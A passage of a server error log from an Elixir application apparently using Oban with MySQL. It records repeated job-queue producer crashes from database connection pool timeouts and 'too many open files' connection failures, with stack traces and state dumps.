    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:15:15.240586Z], limit: 3, uuid: "33684be9-04ac-40f0-a171-d2b253d0f8ef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:15.240592Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.51684>, refresh_timer: #Reference<0.2525715032.1099431938.53192>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:28.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:15:15.240274Z], limit: 5, uuid: "3fd5ab01-ba61-4715-8e90-51024eca1339", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:15.240280Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.51683>, refresh_timer: #Reference<0.2525715032.1068498948.51657>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:36.129000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:37.026000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:37.890000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:37.968000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:39.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:40.025000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:15:28.241133Z], limit: 50, uuid: "b1c4403d-64d3-417d-ab3e-d969483ead4e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:28.241139Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.170383>, refresh_timer: #Reference<0.2525715032.1077673987.29984>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:15:28.238078Z], limit: 20, uuid: "a2bdd3ff-59fe-4e05-8f8d-b0fcd9b9c57f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:28.238089Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.51737>, refresh_timer: #Reference<0.2525715032.1068498948.51727>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:15:28.241105Z], limit: 10, uuid: "8a4f3e7f-131b-4040-b6f1-2674e7c99647", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:28.241111Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.30026>, refresh_timer: #Reference<0.2525715032.1068498948.51735>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:15:28.241121Z], limit: 5, uuid: "4c210e7c-8b84-4ac9-9d53-3fca9100c781", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:28.241127Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.170382>, refresh_timer: #Reference<0.2525715032.1077673987.29981>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:15:28.241202Z], limit: 3, uuid: "50e88556-7f89-4106-8fa1-70868d1fbfc8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:28.241206Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.170381>, refresh_timer: #Reference<0.2525715032.1121189889.170347>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:15:28.243991Z], limit: 5, uuid: "7341283b-49e1-4613-aafb-1a372320b1ea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:28.243997Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.30025>, refresh_timer: #Reference<0.2525715032.1077673987.30013>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:41.488000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:41.547000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:48.830000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:49.918000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:51.883000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
